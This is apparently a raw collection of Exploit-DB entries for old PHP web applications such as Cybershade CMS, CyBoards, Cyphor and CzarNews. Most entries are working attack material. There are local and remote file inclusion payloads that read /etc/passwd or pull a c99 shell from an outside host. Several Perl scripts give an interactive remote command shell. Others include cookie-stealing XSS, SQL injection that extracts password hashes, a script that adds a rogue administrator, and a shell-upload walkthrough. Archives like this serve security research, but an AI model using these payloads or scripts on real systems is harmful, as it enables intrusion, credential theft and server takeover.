deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7065
Description: Cyberfolio 7.12.2 - 'theme' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-11-08
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##################################################################
 #  [ Cyberfolio <= 7.12.2 ]  Local File Inclusion Vulnerability  #
 ##################################################################
 #
 # Script site: http://cyberfolio.org/
 # Download: http://cyberfolio.org/Version-7-12-2
 #
 # Vuln: http://site.com/cyberfolio_7_12.2/portfolio/css.php?theme=../../../../../../etc/passwd%00
 #      
 # Bug: ./cyberfolio_7_12.2/portfolio/css.php (lines: 30-33)
 #
 # ...
 #		if (file_exists("./themes/".$_GET[theme].".php")) {
 #		    include_once("./themes/".$_GET[theme].".php"); 		// LFI
 #		    }
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-11-08]
Exploit-DB #35975
Description: Cyberoam UTM - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-07-20
Author: Patrick Webster

Exploit:
source: https://www.securityfocus.com/bid/48814/info

Cyberoam UTM is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp?srcip=<script>alert(document.cookie)</script>
Exploit-DB #36473
Description: Cyberoam UTM 10 - 'tableid' SQL Injection
Type: webapps
Platform: php
Date: 2011-12-20
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/51143/info

Cyberoam UTM is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/corporate/Controller?mode=301&tableid=[SQL]&sort=&dir=
Exploit-DB #10741
Description: Cybershade CMS 0.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-27
Author: Mr.SeCreT

Exploit:
###################### Author: #############################
Author: Mr.SeCreT
E-mail: g-ff@hotmail.com<mailto:g-ff@hotmail.com>
From: Syria
<http://english.islamweb.net/>############## Script Information: #########################
Script: Cybershade CMS 0.2 Remote File Inclusion Vulnerability
Language: PHP
Download: http://sourceforge.net/projects/cybershadecms/files/cybershadecms/0.2b-DEV/cybershade_0.2b-DEV.zip/download
################### Vul Code: ##############################
core.php:
<?php
session_start();
error_reporting (E_ERROR | E_WARNING | E_PARSE); //this will be set to 0 when released, this is to stop any error's showing up
//error_reporting (0);
include $CMS_ROOT."core/base_functions.php"; //functions that the CMS will use
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
includes.php:
<?php
//This file has the main includes all in one file, this will enable us to change the files if we need to
include "xconnect.php"; //connection infomation
include $CMS_ROOT."core/core.php"; //main core of the CMS
include $CMS_ROOT."core/security.php"; //CMS security
include $CMS_ROOT."core/menus.php"; //Menus
include $CMS_ROOT."core/classes.php"; //Diffrent Classes
//include $CMS_ROOT."core/bbcode.php"; //bbcodes
template(); //call upon the template function
?>
################### Exploit: ###############################
www.site.com/path/core/core.php?CMS_ROOT=[Evil<http://www.site.com/path/core/core.php?CMS_ROOT=[Evil> Script]
www.site.com/path/core/includes.php?CMS_ROOT=[Evil<http://www.site.com/path/core/includes.php?CMS_ROOT=[Evil> Script]
Exploit-DB #7668
Description: Cybershade CMS 0.2b - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-01-05
Author: JosS

Exploit:
#!/usr/bin/perl
####################################################################
# Cybershade CMS 0.2b (index.php) RFI shell_cmd[c99] Exploit
# url: http://sourceforge.net/projects/cybershadecms/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com
# team: Spanish Hackers Team - [SHT]
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# "need" register_globals = On
#
# RFI vuln!: [index.php]
#    line 6: include $THEME_header;
#    line 8: include $THEME_footer;
#
####################################################################
# OUTPUT:
#
# [shell]:~$ id
#   uid=99(nobody) gid=99(nobody) groups=99(nobody)
# [shell]:~$ uname -a
#   Linux xxxxx.xxxxx.com 2.6.18-92.1.13.el5PAE #1 SMP Wed Sep 24 20:07:49 EDT 2008 i686 i686 i386 GNU/Linux
# [shell]:~$ 0h my God ;D

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}

&clear();

sub banner {
        &clear();
	print "[x] Cybershade CMS 0.2b (index.php) RFI shell_cmd[c99] Exploit\n";
	print "[x] Written By JosS\n";
	print "[x] sys-project[at]hotmail[dot]com\n\n";
	print "[+] Usage:\n";
	print "[+]     $0 -vuln \"web+path\" -shell \"shell\"\n";
	print "[+] eX: $0 -vuln \"http://www.p0c.com/cms/\" -shell \"http://hack0wn.com/desc/shells/c99.txt?\"\n\n";
        exit();
}

my $options = GetOptions (
  'help!'            => \$help, 
  'vuln=s'            => \$vuln, 
  'shell=s'            => \$shell
  );

&banner unless ($vuln);
&banner unless ($shell);

&banner if $banner eq 1;

chomp($vuln);
chomp($shell);

while (){

	print "[shell]:~\$ ";
	chomp($cmd=<STDIN>);

	if ($cmd eq "exit" || $cmd eq "quit") {
		exit 0;
	}

	my $ua = LWP::UserAgent->new;
        $iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
        chomp($iny);
        my $own = $vuln . "/index.php?THEME_header=" . $shell . $iny;
        chomp($own);
	my $req = HTTP::Request->new(GET => $own);
	my $res = $ua->request($req);
	my $con = $res->content;
	if ($res->is_success){
		print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);
	}
           else
             {
                print "[p0c] Exploit failed\n";
                exit(1);
             }
}

# __h0__

# milw0rm.com [2009-01-05]
Exploit-DB #6887
Description: Cybershade CMS 0.2b - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-10-31
Author: w0cker

Exploit:
Script Name : Cybershare CMS
 
Download : http://sourceforge.net/project/downloading.php?group_id=213056&use_mirror=surfnet&filename=cybershade_0.2b-DEV.zip&40561526
 
Error :
include $CMS_ROOT."core/core.php";
 
Vul. Code : htp://[site]/[path]/core/includes.php?CMS_ROOT=[Shell]
 
Thanks : Kezzap66345 - Septemb0x

# milw0rm.com [2008-10-31]
Exploit-DB #12619
Description: Cybertek CMS - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-16
Author: XroGuE

Exploit:
=======================================================
Cybertek CMS Local File Include Vulnerability
=======================================================
########################################
# Name: Cybertek CMS Local File Include Vulnerability
# Vendor: www.cybertek.co.za
# Date: 2010/05/16
# Author: Ashiyane Digital Security Team
# Discovered: XroGuE
# Thanks to: Virangar,Ali.Eagle,Satanic2000,Ashiyane Members
# Contact: Xrogue_p3rsi4n_hack3r@Hotmail.com
########################################

########################################
[+] Vulnerability:

[+] Exploit: www.Site.com/[path]/index.php?page=[LFI]

[+] Demo: http://server/index.php?page=../../../../../../../../../../../etc/passwd


[+] Done ... ! :))

########################################
Exploit-DB #3660
Description: CyBoards PHP Lite 1.21 - 'script_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-04
Author: bd0rk

Exploit:
#!/usr/bin/perl
#
#CyBoards PHP Lite 1.21 (script_path) Remote File Include Exploit
# 
#Coded by bd0rk || SOH-Crew
#
#Usage: exploit.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, Kacper, Lu7k, Maik
#
#Vulnerable Code: include("$script_path/include/default_style.css");
#
#Vendor: http://www.morpheusweb.it/html/scripts/php/forum/cyboards.zip

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'include/default_header.php?script_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *CyBoards PHP Lite 1.21 (script_path) Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to CyBoards ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2007-04-04]
Exploit-DB #27970
Description: CyBoards PHP Lite 1.21/1.25 - 'Common.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-05
Author: SpC-x

Exploit:
source: https://www.securityfocus.com/bid/18272/info

CyBoards PHP Lite is prone to a remote file-include vulnerability.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Further analysis shows that the specified parameter is clearly defined. Therefore, this BID is being retired.

http://www.example.com/path/include/common.php?script_path=CmdShell
Exploit-DB #27422
Description: CyBoards PHP Lite 1.21/1.25 - 'post.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-14
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17107/info

CyBoards PHP Lite is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/post.php?board=1&reply=999'% 20union%20select% 201,2,3,4,5, 6,7,8,9,10, 11,12,13,14, 15,16,17,18, 19/*
Exploit-DB #18591
Description: Cycade Gallery - SQL Injection
Type: webapps
Platform: php
Date: 2012-03-13
Author: -DownFall

Exploit:
# Exploit Title: Cycade Gallery SQL Injection Exploit
# Date: 3/12/2012
# Author: -DownFall
# Vendor or Software Link: Cycade Content Management - (http://www.cycade.com/)
# Category: Web Apps - (0-Day)
# Google dork: intext:"Powered by Cycade" inurl:"g_id="
# Tested on: Windows 7

http://server/common/catalog2.php?g_id=[SQLi]

Shoutout to all members of Team Intra
Exploit-DB #24157
Description: Cydia Repo Manager - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-01-16
Author: Ramdan Yantu

Exploit:
# Cydia Repo Manager CSRF Vulnerability
# By cr4wl3r http://bastardlabs.info
# http://bastardlabs.info/exploits/Cydia_Repo_Manager.txt
# Software Link: http://damarist.de/?lang=en
# Download : http://damar1st.de/downloads/CydiaRepoManager3.1.zip
# Tested: Win 7

Proof of concept:

<form method="post" action="http://bastardlabs/[CydiaRepoManager_path]/debs/updater.php">
<input type="text" name="user" value="Username"/> <br />
<input type="text" name="pass" value="Password"/><br />
<input type="submit" name="s" value="w00tw00t!" />
</form>


Login :  http://bastardlabs/[CydiaRepoManager_path]/index.php

Upload Shell : http://bastardlabs/[CydiaRepoManager_path]/deb.php

Shell : http://bastardlabs/[CydiaRepoManager_path]/downloads/shell.php


Demo : 
http://bastardlabs.info/demo/CydiaRepoManager1.png
http://bastardlabs.info/demo/CydiaRepoManager2.png
http://bastardlabs.info/demo/CydiaRepoManager3.png
Exploit-DB #10885
Description: Cype CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-01
Author: Sora

Exploit:
# Exploit Title: Cype Content Management System Remote SQL Injection Exploit
# Date: January 1st, 2010
# Author: Sora
# Version: Revision 241
# Tested on: Linux (Backtrack 3)

-----------------------------------------

> Cype CMS Remote SQL Injection Exploit
> Author: Sora
> Contact: vhr95zw [at] hotmail [dot] com
> Website: http://greyhathackers.wordpress.com/
> Google Dork: In your dreams, script kiddies.

# Exploit Description:
Cype CMS suffers a remote SQL injection vulnerability in index.php.

# Code/Proof of Concept (PoC):
http://server/index.php?cype=main&page=ranking&order='&job=500
Exploit-DB #26339
Description: Cyphor 0.19 - 'footer.php?t_login' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-08
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/15047/info
  
Cyphor is prone to multiple cross-site scripting and SQL injection vulnerabilities.
  
Exploitation could allow for theft of cookie-based authentication credentials or unauthorized access to database data. Other attacks are also possible. 

http://www.example.com/[path]/include/footer.php?t_login=<script>alert(document.cookie)</script>
Exploit-DB #26338
Description: Cyphor 0.19 - 'newmsg.php?fid' SQL Injection
Type: webapps
Platform: php
Date: 2005-10-08
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/15047/info
 
Cyphor is prone to multiple cross-site scripting and SQL injection vulnerabilities.
 
Exploitation could allow for theft of cookie-based authentication credentials or unauthorized access to database data. Other attacks are also possible. 

http://www.example.com/[path]/newmsg.php?fid=''%20UNION%20SELECT%20nick,%20password,%20null,%20null%20FROM%20[table_pr\efix]users%20/*
Exploit-DB #1321
Description: Cyphor 0.19 - 'show.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-14
Author: HACKERS PAL

Exploit:
#!/bin/env perl
#//-----------------------------------------------------------#
#//        Cyphor Forum SQL Injection Exploit .. By HACKERS PAL
#//                   Greets For Devil-00 - Abducter - Almaster
#//                          http://WwW.SoQoR.NeT
#//-----------------------------------------------------------#

use LWP::Simple;

print "\n#####################################################";
print "\n#      Cyphor Forum Exploit By : HACKERS PAL        #";
print "\n#               Http://WwW.SoQoR.NeT                #";
if(!$ARGV[0]||!$ARGV[1]) {
print "\n# -- Usage:                                         #";
print "\n# -- perl $0 [Full-Path] 1                      #";
print "\n# -- Example:                                       #";
print "\n# -- perl $0 http://www.cynox.ch/cyphor/forum/ 1#";
print "\n#     Greets To Devil-00 - Abducter - almastar      #";
print "\n#####################################################\n";
   exit(0);
} else {
print "\n#     Greets To Devil-00 - Abducter - almastar      #";
print "\n#####################################################\n";

       $web=$ARGV[0];
       $id=$ARGV[1];

$url = "show.php?fid=2&id=-10%20union%20select%20id,2,3,4,5,nick,password,8,id,10%20from%20users%20where%20id=$id";
$site="$web/$url";
$page = get($site) || die "[-] Unable to retrieve: $!";
print "\n[+] Connected to: $ARGV[0]\n";

print "[+] User ID is : $id ";
$page =~ m/<span class=bigh>(.*?)<\/span>/ && print "\n[+] User Name is: $1\n";
print "\n[-] Unable to retrieve User Name\n" if(!$1);
$page =~ m/<span class=message>(.*?)<\/span>/ && print "[+] Hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

}

print "\n\nGreets From HACKERS PAL To you :)\nWwW.SoQoR.NeT . . . You Are Welcome\n\n";

# milw0rm.com [2005-11-14]
Exploit-DB #31780
Description: CyrixMED 1.4 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-12
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/29153/info

CyrixMED is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

CyrixMED 1.4 is vulnerable; other versions may also be affected.

http://www.example.com/CyrixMed_v1.4/index.php?msg_erreur=[XSS]
Exploit-DB #25244
Description: CzarNews 1.13/1.14 - 'headlines.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-21
Author: brOmstar

Exploit:
source: https://www.securityfocus.com/bid/12857/info

CzarNews is prone to a remote file-include vulnerability.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

CzarNews 1.13b is reported vulnerable; other versions may be affected as well. 

http://www.example.com/research/news/CzarNewsv113b/headlines.php?tpath=http://www.example.org/cn_config.php
Exploit-DB #2009
Description: CzarNews 1.14 - 'tpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-13
Author: SHiKaA

Exploit:
=================================================================
CzarNews <= (tpath) Remote File Inclusion Exploit
================================================================
                                                                |
Critical Level : Dangerous                                       |
                                                                |
=================================================================
Dork :  "CzarNews v1.12 " | "CzarNews v1.13" | "CzarNews v1.14 "

http://sitename.com/news.php?tpath=http://SHELLURL.COM?
http://sitename.com/cn_config.php?tpath=http://SHELLURL.COM?

===============================================================================
Discoverd By : SHiKaA

Conatact : SHiKaA-[at]hotmail.com

GreetZ : Semsemmasr Black_Scorpion Medo_Ye7ya Kambaa  NANA METO7575 Gendiaaa Saw SnIpEr_Sa Masry OSA FEGLA 3amer
=================================================================


# milw0rm.com [2006-07-13]
Exploit-DB #6462
Description: CzarNews 1.20 - 'cookie' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-15
Author: StAkeR

Exploit:
#!/usr/bin/perl
# ----------------------------------------------------------
# CzarNews <= v1.20 (Cookie) Remote SQL Injection Exploit
# Perl Exploit - Add a new admin with your credentials!
# Discovered On: 15/09/2008
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
# ----------------------------------------------------------
# Usage: perl http://localhost/cms StAkeR obscure
# ----------------------------------------------------------

use strict;
use LWP::UserAgent;

my $email = 'some@example.net';
my ($hostname,$username,$password) = @ARGV;
my $request  = undef;
my $http_s   = new LWP::UserAgent or die $!;

$hostname = ($hostname =~ /^http:\/\/(.+?)$/) ? $ARGV[0] : banner();
banner() unless $username and $password;

$http_s->agent("Mozilla/4.5 [en] (Win95; U)");
$http_s->timeout(1);
$http_s->default_header('Cookie' => "recook=' or '1=1,' or '1=1");           

$request = $http_s->post($hostname."/cn_users.php",
                         [
                          user    => $username,
                          pass    => $password,
                          email   => $email,
                          allcats => "all",
                          admin   => "off",
                          news    => "on",
                          images  => "on",
                          users   => "on",
                          categories => "on",
                          config  => "on",
                          words  => "on",
                          op => "add",
                          id => '',
                          go  => "true",
                          submit => "Add+User"
                        ]);
        
if($request->is_success)
{
  if($request->content =~ /has been added/i)
  {
    print "[+] Added New Administrator: $username & $password\n";
  }
  else
  {
    print "[!] Exploit Failed!\n";
    print "[!] Site Not Vulnerable\n";
  }
}


sub banner
{
  print "[+] CzarNews <= v1.20 Remote SQL Injection Exploit (add new admin)\n";
  print "[+] Usage: perl exploit.pl [host] [username] [password]\n";
  return exit;
}

# milw0rm.com [2008-09-15]
Exploit-DB #6464
Description: CzarNews 1.20 - Account Hijacking SQL Injection
Type: webapps
Platform: php
Date: 2008-09-15
Author: 0ut0fbound

Exploit:
czarNews Account Hijacking <= 1.20 user and password Leak
----------------------------------------------------------

 Author: Maycon Maia Vitali ( 0ut0fBound )
Contact: mayconmaia at yahoo dot com dot br
         http://maycon.gsec.com.br

Original Xploit by StAkeR ( http://www.milw0rm.com/exploits/6462 )


Gerenal Xploit:
---------------

1) Go to some page with CzarNews 1.20. You are in the 'Login Page'
2) Put in the URL: javascript:document.cookie="recook=' or ''=',' or
''='";void(0);
3) Refresh the page. Now you are logged in.
4) Put in the URL:
javascript:c=document.cookie;p=c.substr(c.lastIndexOf('=')+1).split(/%../);a
lert("Login: " + p[0] + "\nPass: " + p[1]);void(0);
5) With this you getted the current user and password

Attacking Especific User:
-------------------------

If you have some user that you need Xploit, You can change the step 2 by
this:

2) Put in the URL:
javascript:document.cookie="recook=[USER],'+or+''='";void(0);

Where [USER] need to be replaced with user name (e.g. admin)


enjoy,
0ut0fBound

# milw0rm.com [2008-09-15]